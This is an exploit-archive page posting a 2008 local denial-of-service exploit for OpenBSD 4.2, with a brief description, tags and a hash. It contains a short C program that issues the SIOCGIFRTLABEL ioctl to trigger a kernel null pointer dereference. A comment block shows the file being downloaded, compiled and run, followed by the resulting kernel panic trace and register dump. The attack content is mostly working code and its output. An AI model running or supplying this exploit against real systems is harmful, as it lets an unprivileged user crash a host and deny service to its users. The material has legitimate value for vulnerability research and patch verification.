exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

openbsd-deref.txt

openbsd-deref.txt
Posted Jan 19, 2008
Authored by Hunger

OpenBSD version 4.2 rtlabel_id2name() local null pointer dereference denial of service exploit.

tags | exploit, denial of service, local
systems | openbsd
SHA-256 | e6048f3df28916db43a3c358ab3e2cb1df30acf67d97bf7363018319818cbcbc

openbsd-deref.txt

Change Mirror Download
/*
* OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
* Null Pointer Dereference local Denial of Service Exploit
*
* by Hunger <rtlabdos@hunger.hu>
*
* Advisory:
* http://marc.info/?l=openbsd-security-announce&m=120007327504064
*
* FOR TESTING PURPOSES ONLY!
*
* $ uname -mrsv
* OpenBSD 4.2 GENERIC#375 i386
* $ id
* uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
* $ ftp -V http://hunger.hu/rtlabdos.c
* 100% |******************************************| 1814 00:00
* $ gcc rtlabdos.c -o rtlabdos
* $ ./rtlabdos
* uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
* kernel: page fault trap, code=0
* Stopped at strlcpy+0x1c: movb 0(%edx),%al
* ddb> trace
* strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
* ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
* sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
* syscall() at syscall+0x24a
* --- syscall (number 54) ---
* 0xf557d1:
* ddb> show registers
* ds 0x10
* es 0x10
* fs 0x58
* gs 0x10
* edi 0
* esi 0x20
* ebp 0xd826fd60 end+0x7a33a90
* ebx 0xd826fd98 end+0x7a33ac8
* edx 0
* ecx 0x1f
* eax 0
* eip 0xd064acb0 strlcpy+0x1c
* cs 0x8
* eflags 0x10212
* esp 0xd826fd54 end+0x7a33a84
* ss 0xd8260010 end+0x7a23d40
* strlcpy+0x1c: movb 0(%edx),%al
*
*/

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

int
main(void)
{
struct ifreq ifr = { .ifr_name = "lo0" };

return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close